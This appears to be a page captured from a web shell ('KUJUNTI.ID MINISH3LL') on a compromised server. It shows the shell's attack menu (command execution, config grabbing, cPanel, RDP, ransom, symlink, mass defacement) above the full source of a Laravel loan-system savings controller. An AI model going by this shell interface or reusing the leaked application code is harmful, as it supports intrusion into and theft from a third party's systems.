KUJUNTI.ID MINISH3LL
Path : /var/www/html/usd_loan_system/app/Http/Controllers/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/usd_loan_system/app/Http/Controllers/SavingController.php


<?php

namespace App\Http\Controllers;

use App\Events\RepaymentCreated;
use App\Helpers\GeneralHelper;
use App\Models\Borrower;
use App\Models\CustomFieldMeta;
use App\Models\JournalEntry;
use App\Models\Loan;
use App\Models\LoanTransaction;
use App\Models\Saving;
use App\Models\SavingProduct;
use App\Models\SavingsCharge;
use App\Models\SavingsProductCharge;
use App\Models\SavingTransaction;
use Cartalyst\Sentinel\Laravel\Facades\Sentinel;
use Illuminate\Http\Request;
use Laracasts\Flash\Flash;
use Barryvdh\DomPDF\Facade\Pdf;

class SavingController extends Controller
{
    public function __construct()
    {
        $this->middleware(['sentinel', 'branch']);
    }


    /**
     * Display a listing of the resource.
     *
     * @return \Illuminate\Http\Response
     */
    public function index()
    {
        $data = Saving::where('branch_id', session('branch_id'))->orderBy('id','desc')->get();

        return view('saving.data', compact('data'));
    }

    /**
     * Show the form for creating a new resource.
     *
     * @return \Illuminate\Http\Response
     */
    public function create(Request $request)
    {
        $borrowers = array();
        foreach (Borrower::all() as $key) {
            $borrowers[$key->id] = $key->first_name . ' ' . $key->last_name . '(' . $key->unique_number . ')';
        }
        $savings_products = array();
        foreach (SavingProduct::all() as $key) {
            $savings_products[$key->id] = $key->name;
        }
        if (isset($request->borrower_id)) {
            $borrower_id = $request->borrower_id;
        } else {
            $borrower_id = '';
        }
        if (isset($request->product_id)) {
            $savings_product = SavingProduct::find($request->product_id);
        } else {
            $savings_product = SavingProduct::first();
        }
        if (empty($savings_product)) {
            Flash::warning("No Savings product set. You must first set a savings product");
            return redirect()->back();
        }
        $charges = array();
        foreach (SavingsProductCharge::where('savings_product_id', $savings_product->id)->get() as $key) {
            if (!empty($key->charge)) {
                $charges[$key->id] = $key->charge->name;
            }

        }
        return view('saving.create',
            compact('savings_products', 'borrowers', 'borrower_id', 'charges', 'savings_product'));
    }

    /**
     * Store a newly created resource in storage.
     *
     * @param  \Illuminate\Http\Request $request
     * @return \Illuminate\Http\Response
     */
    public function store(Request $request)
    {

        $saving = new Saving();
        $saving->user_id = Sentinel::getUser()->id;
        $saving->savings_product_id = $request->savings_product_id;
        $saving->borrower_id = $request->borrower_id;
        $saving->branch_id = session('branch_id');
        $saving->notes = $request->notes;
        $saving->date = $request->date;
        $date = explode('-', $request->date);
        $saving->month = $date[1];
        $saving->year = $date[0];
        $saving->save();
        if (!empty($request->charges)) {
            //loop through the array
            foreach ($request->charges as $key) {
                $amount = "charge_amount_" . $key;
                $date = "charge_date_" . $key;
                $savings_charge = new SavingsCharge();
                $savings_charge->savings_id = $saving->id;
                $savings_charge->user_id = Sentinel::getUser()->id;
                $savings_charge->charge_id = $key;
                $savings_charge->amount = $request->$amount;
                if (!empty($request->$date)) {
                    $savings_charge->date = $request->$date;
                }
                $savings_charge->save();
            }
        }
        //check for fees
        foreach (SavingsProductCharge::where('savings_product_id', $saving->savings_product_id)->get() as $tkey) {
            if (!empty($tkey->charge)) {
                //specified due date charge
                if ($tkey->charge->charge_type == "savings_activation") {
                    $amount = $tkey->charge->amount;
                    $savings_transaction = new SavingTransaction();
                    $savings_transaction->user_id = Sentinel::getUser()->id;
                    $savings_transaction->borrower_id = $saving->borrower_id;
                    $savings_transaction->branch_id = $saving->branch_id;
                    $savings_transaction->savings_id = $saving->id;
                    $savings_transaction->type = "bank_fees";
                    $savings_transaction->reversible = 1;
                    $savings_transaction->date = date("Y-m-d");
                    $savings_transaction->time = date("H:i");
                    $date = explode('-', date("Y-m-d"));
                    $savings_transaction->year = $date[0];
                    $savings_transaction->month = $date[1];
                    $savings_transaction->debit = $amount;
                    $savings_transaction->save();
                    if (!empty($saving->savings_product->chart_reference)) {
                        $journal = new JournalEntry();
                        $journal->user_id = Sentinel::getUser()->id;
                        $journal->account_id = $saving->savings_product->chart_reference->id;
                        $journal->branch_id = $savings_transaction->branch_id;
                        $journal->date = date("Y-m-d");
                        $journal->year = $date[0];
                        $journal->month = $date[1];
                        $journal->borrower_id = $savings_transaction->borrower_id;
                        $journal->transaction_type = 'pay_charge';
                        $journal->name = "Charge";
                        $journal->savings_id = $saving->id;
                        $journal->credit = $amount;
                        $journal->reference = $savings_transaction->id;
                        $journal->save();
                    }
                    if (!empty($saving->savings_product->chart_control)) {
                        $journal = new JournalEntry();
                        $journal->user_id = Sentinel::getUser()->id;
                        $journal->account_id = $saving->savings_product->chart_control->id;
                        $journal->branch_id = $savings_transaction->branch_id;
                        $journal->date = date("Y-m-d");
                        $journal->year = $date[0];
                        $journal->month = $date[1];
                        $journal->borrower_id = $savings_transaction->borrower_id;
                        $journal->transaction_type = 'pay_charge';
                        $journal->name = "Charge";
                        $journal->savings_id = $saving->id;
                        $journal->debit = $amount;
                        $journal->reference = $savings_transaction->id;
                        $journal->save();
                    }
                }


            }
        }
        Flash::success(translate('successfully_saved'));
        return redirect('saving/data');
    }


    public function show($saving)
    {
        //$transactions = SavingTransaction::where('savings_id', $saving->id)->orderBy('date', 'desc')->orderBy('time','desc')->get();
        $transactions = array();
        $balance = 0;
        foreach (SavingTransaction::where('savings_id', $saving->id)->orderBy('date', 'asc')->orderBy('time',
            'asc')->get() as $key) {
            $savings_transactions = array();
            if ($key->type == 'deposit' || $key->type == 'interest' || $key->type == 'dividend' || $key->type == 'guarantee_restored') {
                $balance = $balance + $key->amount;
            } else {
                $balance = $balance - $key->amount;
            }
            $savings_transactions['id'] = $key->id;
            $savings_transactions['type'] = $key->type;
            $savings_transactions['time'] = $key->time;
            $savings_transactions['date'] = $key->date;
            $savings_transactions['amount'] = $key->amount;
            $savings_transactions['notes'] = $key->notes;
            $savings_transactions['user'] = $key->user;
            $savings_transactions['balance'] = $balance;
            array_push($transactions, $savings_transactions);
        }
        $transactions = array_reverse($transactions);
        $custom_fields = CustomFieldMeta::where('category', 'savings')->where('parent_id',
            $saving->id)->get();
        return view('saving.show', compact('saving', 'custom_fields', 'transactions'));
    }


    public function edit($saving)
    {
        $borrowers = array();
        foreach (Borrower::all() as $key) {
            $borrowers[$key->id] = $key->first_name . ' ' . $key->last_name . '(' . $key->unique_number . ')';
        }
        $savings_products = array();
        foreach (SavingProduct::all() as $key) {
            $savings_products[$key->id] = $key->name;
        }
        return view('saving.edit', compact('saving', 'savings_products', 'borrowers'));
    }

    /**
     * Update the specified resource in storage.
     *
     * @param  \Illuminate\Http\Request $request
     * @param  int $id
     * @return \Illuminate\Http\Response
     */
    public function update(Request $request, $id)
    {
        $saving = Saving::find($id);
        //$saving->savings_product_id = $request->savings_product_id;
        //$saving->borrower_id = $request->borrower_id;
        $saving->branch_id = session('branch_id');
        $saving->notes = $request->notes;
        $saving->date = $request->date;
        $date = explode('-', $request->date);
        $saving->month = $date[1];
        $saving->year = $date[0];
        $saving->save();
        SavingsCharge::where('savings_id', $id)->delete();
        if (!empty($request->charges)) {
            //loop through the array
            foreach ($request->charges as $key) {
                $amount = "charge_amount_" . $key;
                $date = "charge_date_" . $key;
                $savings_charge = new SavingsCharge();
                $savings_charge->savings_id = $saving->id;
                $savings_charge->user_id = Sentinel::getUser()->id;
                $savings_charge->charge_id = $key;
                $savings_charge->amount = $request->$amount;
                if (!empty($request->$date)) {
                    $savings_charge->date = $request->$date;
                }
                $savings_charge->save();
            }
        }

        Flash::success(translate('successfully_saved'));
        return redirect('saving/data');
    }

    /**
     * Remove the specified resource from storage.
     *
     * @param  int $id
     * @return \Illuminate\Http\Response
     */
    public function delete($id)
    {
        Saving::destroy($id);
        SavingTransaction::where('savings_id', $id)->delete();
        Flash::success(translate('successfully_deleted'));
        return redirect('saving/data');
    }

    public function printStatement($saving)
    {
        $custom_fields = CustomFieldMeta::where('category', 'savings')->where('parent_id',
            $saving->id)->get();
        return view('saving.print', compact('saving', 'custom_fields', 'transactions'));
    }

    public function pdfStatement($saving)
    {

        $custom_fields = CustomFieldMeta::where('category', 'savings')->where('parent_id',
            $saving->id)->get();
        $pdf = Pdf::loadView('saving.pdf_statement',
            compact('saving', 'custom_fields', 'transactions'));
        return $pdf->download($saving->borrower->title . ' ' . $saving->borrower->first_name . ' ' . $saving->borrower->last_name . " - Savings Statement.pdf");

    }

    public function transfer($saving)
    {
        $loans = array();
        foreach (Loan::where('borrower_id', $saving->borrower_id)->get() as $key) {
            $loans[$key->id] = $key->borrower->first_name . ' ' . $key->borrower->last_name . '(' . translate('loan',
                    1) . '#' . $key->id . ',' . translate('due',
                    1) . ':' . GeneralHelper::loan_total_balance($key->id) . ')';
        }

        return view('saving.transfer', compact('saving', 'loans'));
    }

    public function storeTransfer(Request $request, $saving)
    {
        $loan = Loan::find($request->loan_id);
        if ($request->amount > round(GeneralHelper::loan_total_balance($loan->id), 2)) {
            Flash::warning("Amount is more than the balance(" . GeneralHelper::loan_total_balance($loan->id) . ')');
            return redirect()->back()->withInput();

        }
        if ($request->date > date("Y-m-d")) {
            Flash::warning(translate('future_date_error', 1));
            return redirect()->back()->withInput();

        }
        if ($request->date < $loan->disbursed_date) {
            Flash::warning(translate('early_date_error', 1));
            return redirect()->back()->withInput();

        }
        $savings_transaction = new SavingTransaction();
        if (GeneralHelper::savings_account_balance($saving->id) < $request->amount && $saving->savings_product->allow_overdraw == 0) {
            Flash::warning(translate('withdrawal_more_than_balance'));
            return redirect()->back()->withInput();
        }
        $savings_transaction->user_id = Sentinel::getUser()->id;
        $savings_transaction->borrower_id = $saving->borrower_id;
        $savings_transaction->branch_id = session('branch_id');
        $savings_transaction->savings_id = $saving->id;
        $savings_transaction->type = "transfer_loan";
        $savings_transaction->reversible = 1;
        $savings_transaction->reference = $request->loan_id;
        $savings_transaction->date = $request->date;
        $savings_transaction->time = $request->time;
        $date = explode('-', $request->date);
        $savings_transaction->year = $date[0];
        $savings_transaction->month = $date[1];
        $savings_transaction->debit = $request->amount;
        if (empty($request->notes)) {
            $savings_transaction->notes = "Transferred amount to <a href='" . url('loan/' . $request->loan_id . '/show') . "''>Loan #" . $request->loan_id . "</a>";
        } else {
            $savings_transaction->notes = $request->notes;
        }
        $savings_transaction->save();
        if (!empty($saving->savings_product->chart_reference)) {
            $journal = new JournalEntry();
            $journal->user_id = Sentinel::getUser()->id;
            $journal->account_id = $saving->savings_product->chart_reference->id;
            $journal->branch_id = $savings_transaction->branch_id;
            $journal->date = $request->date;
            $journal->year = $date[0];
            $journal->month = $date[1];
            $journal->borrower_id = $savings_transaction->borrower_id;
            $journal->transaction_type = 'transfer_fund';
            $journal->name = "Transfer fund";
            $journal->savings_id = $saving->id;
            $journal->credit = $request->amount;
            $journal->reference = $savings_transaction->id;
            $journal->save();
        }
        if (!empty($saving->savings_product->chart_control)) {
            $journal = new JournalEntry();
            $journal->user_id = Sentinel::getUser()->id;
            $journal->account_id = $saving->savings_product->chart_control->id;
            $journal->branch_id = $savings_transaction->branch_id;
            $journal->date = $request->date;
            $journal->year = $date[0];
            $journal->month = $date[1];
            $journal->borrower_id = $savings_transaction->borrower_id;
            $journal->transaction_type = 'transfer_fund';
            $journal->name = "Transfer fund";
            $journal->savings_id = $saving->id;
            $journal->debit = $request->amount;
            $journal->reference = $savings_transaction->id;
            $journal->save();
        }
        //store the loan payment
        //add interest transaction
        $loan_transaction = new LoanTransaction();
        $loan_transaction->user_id = Sentinel::getUser()->id;
        $loan_transaction->branch_id = session('branch_id');
        $loan_transaction->loan_id = $loan->id;
        $loan_transaction->borrower_id = $loan->borrower_id;
        $loan_transaction->transaction_type = "transfer_fund";
        $loan_transaction->receipt = $savings_transaction->id;
        $loan_transaction->date = $request->date;
        $loan_transaction->reversible = 1;
        $date = explode('-', $request->date);
        $loan_transaction->year = $date[0];
        $loan_transaction->month = $date[1];
        $loan_transaction->credit = $request->amount;
        $loan_transaction->notes = $request->notes;
        $loan_transaction->save();
        //fire payment added event
        //debit and credit the necessary accounts
        $allocation = GeneralHelper::loan_allocate_payment($loan_transaction);
        //return $allocation;
        //principal
        if ($allocation['principal'] > 0) {
            if (!empty($loan->loan_product->chart_loan_portfolio)) {
                $journal = new JournalEntry();
                $journal->user_id = Sentinel::getUser()->id;
                $journal->account_id = $loan->loan_product->chart_loan_portfolio->id;
                $journal->branch_id = $loan->branch_id;
                $journal->date = $request->date;
                $journal->year = $date[0];
                $journal->month = $date[1];
                $journal->borrower_id = $loan->borrower_id;
                $journal->transaction_type = 'repayment';
                $journal->transaction_sub_type = 'repayment_principal';
                $journal->name = "Principal Repayment";
                $journal->loan_id = $loan->id;
                $journal->loan_transaction_id = $loan_transaction->id;
                $journal->credit = $allocation['principal'];
                $journal->reference = $loan_transaction->id;
                $journal->save();
            }
            if (!empty($loan->loan_product->chart_fund_source)) {
                $journal = new JournalEntry();
                $journal->user_id = Sentinel::getUser()->id;
                $journal->account_id = $loan->loan_product->chart_fund_source->id;
                $journal->branch_id = $loan->branch_id;
                $journal->date = $request->date;
                $journal->year = $date[0];
                $journal->month = $date[1];
                $journal->borrower_id = $loan->borrower_id;
                $journal->transaction_type = 'repayment';
                $journal->name = "Principal Repayment";
                $journal->loan_id = $loan->id;
                $journal->loan_transaction_id = $loan_transaction->id;
                $journal->debit = $allocation['principal'];
                $journal->reference = $loan_transaction->id;
                $journal->save();
            }
        }
        //interest
        if ($allocation['interest'] > 0) {
            if (!empty($loan->loan_product->chart_income_interest)) {
                $journal = new JournalEntry();
                $journal->user_id = Sentinel::getUser()->id;
                $journal->account_id = $loan->loan_product->chart_income_interest->id;
                $journal->branch_id = $loan->branch_id;
                $journal->date = $request->date;
                $journal->year = $date[0];
                $journal->month = $date[1];
                $journal->borrower_id = $loan->borrower_id;
                $journal->transaction_type = 'repayment';
                $journal->transaction_sub_type = 'repayment_interest';
                $journal->name = "Interest Repayment";
                $journal->loan_id = $loan->id;
                $journal->loan_transaction_id = $loan_transaction->id;
                $journal->credit = $allocation['interest'];
                $journal->reference = $loan_transaction->id;
                $journal->save();
            }
            if (!empty($loan->loan_product->chart_receivable_interest)) {
                $journal = new JournalEntry();
                $journal->user_id = Sentinel::getUser()->id;
                $journal->account_id = $loan->loan_product->chart_receivable_interest->id;
                $journal->branch_id = $loan->branch_id;
                $journal->date = $request->date;
                $journal->year = $date[0];
                $journal->month = $date[1];
                $journal->borrower_id = $loan->borrower_id;
                $journal->transaction_type = 'repayment';
                $journal->name = "Interest Repayment";
                $journal->loan_id = $loan->id;
                $journal->loan_transaction_id = $loan_transaction->id;
                $journal->debit = $allocation['interest'];
                $journal->reference = $loan_transaction->id;
                $journal->save();
            }
        }
        //fees
        if ($allocation['fees'] > 0) {
            if (!empty($loan->loan_product->chart_income_fee)) {
                $journal = new JournalEntry();
                $journal->user_id = Sentinel::getUser()->id;
                $journal->account_id = $loan->loan_product->chart_income_fee->id;
                $journal->branch_id = $loan->branch_id;
                $journal->date = $request->date;
                $journal->year = $date[0];
                $journal->month = $date[1];
                $journal->borrower_id = $loan->borrower_id;
                $journal->transaction_type = 'repayment';
                $journal->transaction_sub_type = 'repayment_fees';
                $journal->name = "Fees Repayment";
                $journal->loan_id = $loan->id;
                $journal->loan_transaction_id = $loan_transaction->id;
                $journal->credit = $allocation['fees'];
                $journal->reference = $loan_transaction->id;
                $journal->save();
            }
            if (!empty($loan->loan_product->chart_receivable_fee)) {
                $journal = new JournalEntry();
                $journal->user_id = Sentinel::getUser()->id;
                $journal->account_id = $loan->loan_product->chart_receivable_fee->id;
                $journal->branch_id = $loan->branch_id;
                $journal->date = $request->date;
                $journal->year = $date[0];
                $journal->month = $date[1];
                $journal->borrower_id = $loan->borrower_id;
                $journal->transaction_type = 'repayment';
                $journal->name = "Fees Repayment";
                $journal->loan_id = $loan->id;
                $journal->loan_transaction_id = $loan_transaction->id;
                $journal->debit = $allocation['fees'];
                $journal->reference = $loan_transaction->id;
                $journal->save();
            }
        }
        if ($allocation['penalty'] > 0) {
            if (!empty($loan->loan_product->chart_income_penalty)) {
                $journal = new JournalEntry();
                $journal->user_id = Sentinel::getUser()->id;
                $journal->account_id = $loan->loan_product->chart_income_penalty->id;
                $journal->branch_id = $loan->branch_id;
                $journal->date = $request->date;
                $journal->year = $date[0];
                $journal->month = $date[1];
                $journal->borrower_id = $loan->borrower_id;
                $journal->transaction_type = 'repayment';
                $journal->transaction_sub_type = 'repayment_penalty';
                $journal->name = "Penalty Repayment";
                $journal->loan_id = $loan->id;
                $journal->loan_transaction_id = $loan_transaction->id;
                $journal->credit = $allocation['penalty'];
                $journal->reference = $loan_transaction->id;
                $journal->save();
            }
            if (!empty($loan->loan_product->chart_receivable_penalty)) {
                $journal = new JournalEntry();
                $journal->user_id = Sentinel::getUser()->id;
                $journal->account_id = $loan->loan_product->chart_receivable_penalty->id;
                $journal->branch_id = $loan->branch_id;
                $journal->date = $request->date;
                $journal->year = $date[0];
                $journal->month = $date[1];
                $journal->borrower_id = $loan->borrower_id;
                $journal->transaction_type = 'repayment';
                $journal->name = "Penalty Repayment";
                $journal->loan_id = $loan->id;
                $journal->loan_transaction_id = $loan_transaction->id;
                $journal->debit = $allocation['penalty'];
                $journal->reference = $loan_transaction->id;
                $journal->save();
            }
        }
        //update loan status if need be
        if (round(GeneralHelper::loan_total_balance($loan->id)) <= 0) {
            $l = Loan::find($loan->id);
            $l->status = "closed";
            $l->save();
        }
        event(new RepaymentCreated($loan_transaction));

        Flash::success(translate('successfully_saved'));
        return redirect('saving/' . $saving->id . '/show');
    }
}

© KUJUNTI.ID